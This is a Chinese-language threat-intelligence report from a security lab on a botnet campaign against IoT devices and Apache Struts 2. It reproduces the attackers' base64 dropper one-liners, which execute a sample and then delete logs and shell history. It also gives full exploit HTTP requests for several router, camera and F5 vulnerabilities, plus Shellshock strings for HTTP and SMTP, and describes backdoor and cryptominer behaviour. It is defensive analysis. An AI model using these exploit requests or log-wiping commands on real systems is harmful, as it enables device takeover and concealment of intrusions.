【格物猎踪】格物实验室发现针对物联网设备的新型攻击手法,攻击物联网设备愈发隐蔽

百家 作者:绿盟科技 2021-02-04 22:02:02

今日小年 年味至此浓

全文共2263字,阅读大约需要6分钟。


近期,绿盟科技格物实验室在排查绿盟威胁捕获系统相关日志的过程中发现了一种针对物联网设备和structs2的新型攻击手法,攻击者通过压缩样本、base64编码传输等方式隐藏其样本和执行的指令。自2020年12月17日起,从物联网设备到structs2,攻击者已利用10个漏洞投递相关样本。


截至目前,我们发现利用该攻击手法的漏洞探测行为尚未停止,虽然没有出现爆发的情况,但也应引起各方注意,提前做好预防措施。


攻击手法分析

绿盟科技格物实验室发现攻击者已经使用了10个漏洞传播样本,感染僵尸主机。虽然使用的漏洞不同,但投递样本的方式类似,针对物联网设备投递样本的payload结构如下所示(encoded_zipfile表示base64编码后的内容):

echo encoded_zipfile | base64 -d > virus.zip;unzip -o virus.zip;chmod 775 virus.sh;sh  virus.sh & rm -rf virus.sh;rm -rf /var/log;history -c;history -w


即不通过wget、curl等方式下载样本,直接通过echo命令打印base64编码过的zip文件,并通过管道运算符连接base64解码的命令,将解码后的结果输出到本地的文件中。之后解压zip文件,修改文件权限,执行样本,清除磁盘中的样本和相关日志,销毁证据。


针对structs2投递样本时,payload结构入下所示(encoded_zipfile表示base64编码后的内容):

echo encoded_zipfile | base64 -d> cat.gz.zip; unzip -f -P "1234567890" cat.gz.zip; gzip -fd *;chmod 755 cat; cat&rm -rf cat; rm .bash_history; rm -rf /var/log; history -cw


整体攻击手法和针对物联网设备投递样本基本一样,区别是:1)将样本压缩了两次,且使用了密码。2)样本从shell变为二进制,且命名为cat,混淆执行样本后的进程。


相关漏洞

我们发现攻击者用于投递样本的漏洞达到10种,包括物联网设备的漏洞以及Apache Struts 2的相关漏洞,本文就其中物联网相关漏洞的做相关说明。


CVE-2020-5902

F5 BIG-IP 是美国 F5 公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。2020年7月初,有安全研究人员公开披露F5 BIG-IP产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞,并给出测试POC,攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行,进而控制F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等,该漏洞影响控制面板,不影响数据面板。


CVE-2020-5902涉及文件读取、命令执行等,据公开EXP描述,命令执行分为三步:

1) 创建执行命令的模式,将list设置为bash的别名。

tmshCmd.jsp?command=create+cli+alias+private+list+command+bash

2) 向创建的文件中写入要执行的命令

fileSave.jsp?fileName=/tmp/cmd&content=id

3) 利用前面设置的list来执行文件中的命令

tmshCmd.jsp?command=list+/tmp/cmd


但本次我们捕获到的攻击,攻击者直接将攻击的命令写入了crontab文件(其中payload为攻击者的恶意载荷,如第一节所示):

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/etc/crontab&content=%5Cn%5Cn%5Cn%5Cn%201%20*%20*%20*%20*%20payload


不同于公开EXP的利用手法,说明攻击者对漏洞具有一定的分析能力,对武器库有一定的开发能力。


CVE-2014-8361

该漏洞存在于Realtek SDK中的miniigd SOAP服务中,该漏洞允许攻击者通过远程执行任意代码。触发RCE的请求路径为:/picsdesc.xml,请求的方法为POST,恶意载荷位于body中,目前,漏洞的利用方式与公开EXP一致,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

POST /picsdesc.xml HTTP/1.1User-Agent: Chrome/85.0.4183.121Accept: */*Accept-Encoding: identityHost: xxx.xxx.xxx.xxxConnection: keep-aliveContent-Type: text/xmlContent-Length: 18319SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>30006</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>30006</NewInternalPort><NewInternalClient>’payload’ </NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration><u:AddPortMapping></s:Body></s:Envelope>


CVE-2020-10987

腾达的AC15 AC1900路由器,在15.03.05.19版本中允许攻击者远程执行命令,目前,漏洞的利用方式与公开EXP一致,触发漏洞的请求路径为:/goform/setUsbUnload,请求方法为:POST,恶意负载位于body中,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

POST /goform/setUsbUnload HTTP/1.1User-Agent: Chrome/85.0.4183.121Accept: */*Accept-Encoding: identityHost: xxx.xxx.xxx.xxxConnection: Keep-AliveContent-Type: application/x-www-form-urlencodedContent-Length: 17749X-Requested-With: XMLHttpRequestCookie: password=40203abe6e81ed98cbc97cdd6ec4f144f1qtqbReferer: http://'129.28.197.213'samba.html?random=0.035894671968571656&deViceName=; payload


CVE-2017-6334

NETGEAR DGN2200中的dnslookup.cgi文件,在10.0.0.50版本中允许攻击者通过远程发送POST请求远程执行系统命令,目前,漏洞的利用方式与公开EXP一致,触发漏洞的请求路径为:/dnslookup.cgi,请求方法为:POST,恶意负载位于body中,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

POST /dnslookup.cgi HTTP/1.1Host: xxx.xxx.xxx.xxxAuthorization: Basic YWRtaW46cGFzc3dvcmQ=User-Agent: curl/7.72.0Accept: */*Content-Length: 17777Content-Type: application/x-www-form-urlencodedhost_name=www.google.com;payload


EDB-ID:40500

AVTECH成立于1996年,是世界上领先的CCTV制造商之一,该漏洞影响任何版本的Avtech设备(包括IP摄像头、NVR、DVR)。互联网公开EXP中,触发漏洞的请求路径为:/dnslookup.cgi,请求方法为:GET,恶意负载位于请求的参数中,但我们发现,攻击者对该漏洞的利用与公开EXP不同,其恶意负载在位于请求的Body中,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

GET /cgi-bin/nobody/Search.cgi HTTP/1.1User-Agent: Chrome/85.0.4183.121Accept: */*Accept-Encoding: identityHost: 129.28.176.79Connection: Keep-Aliveaction: cgi_queryip: google.comport: 80queryb64str: Lw==username: admin%20;XmlAp%20r%20Account.User1.Password%3E$(payload)password: admin


CVE-2017-17215

该漏洞影响华为HG532设备,允许攻击者远程执行命令。经过认证的攻击者可以向37215端口发送恶意的数据包触发攻击。目前,漏洞的利用方式与公开EXP一致,触发漏洞的请求路径为:/ctrlt/DeviceUpgrade_1,请求方法为:POST,恶意负载位于body中,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1User-Agent: Chrome/85.0.4183.121Accept: */*Accept-Encoding: identityHost: 129.28.176.79Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedContent-Length: 18111<?xml version="1.0" ?>\n    <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\n    <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">\n    <NewStatusURL>$( payload)</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>


Shellshock

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。


本次我们捕获到的利用Shellshock的攻击涉及两类:Web服务和SMTP服务。其中,针对Web服务触发Shellshock的攻击,请求路径为:/cgi-bin/luci,请求的方法为GET,触发EXP的路径位于User Agent中,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

GET /cgi-bin/luci HTTP/1.1User-Agent: () { :;};payload


针对SMTP服务触发Shellshock的攻击,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

MAIL FROM:<() {{ :; }}; payload >\r\nRCPT TO:<root>\r\nDATA\r\n


样本分析

本次攻击,我们捕获到的样本分为两种,一种针对物联网设备,另一种针对Apache Struts 2。


针对物联网设备的样本 

物联网设备投递的样本为shell,关键部分代码如图所示:

shell样本


该样本运行后,会在僵尸主机上创建root后门账户,开启SSH远程登录,清除防火墙,值得注意的时,该样本会通过smtp的方式,向自己的邮箱发送邮件,通知已感染新的僵尸主机。目前,攻击者发送邮件的账号(硬编码)仍未修改密码,可以正常使用,但我们发现,攻击者已经清除了相关记录。

 攻击者邮箱


另外,该样本尝试从github以及pastebin下载其他样本,但其github仓库已删除,从样本名称猜测,攻击者尝试开启设备的3389端口。


针对Apache Struts 2的样本

针对Apache Struts 2的样本使用多层xor加密,解密后与针对物联网设备的样本类似,为bash木马,主要功能为下载执行指定url中的文件(目前url涉及的github项目已经关闭),一般用于下载挖矿程序xmrig,矿池地址:xmr.2miners.com:2222。


IoC

部分样本源文件名与SHA256


相关漏洞


攻击源


红包封面,来啦

今天送给大家的是“牛气冲天”红包封面

牛年就要牛起来!

  


关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接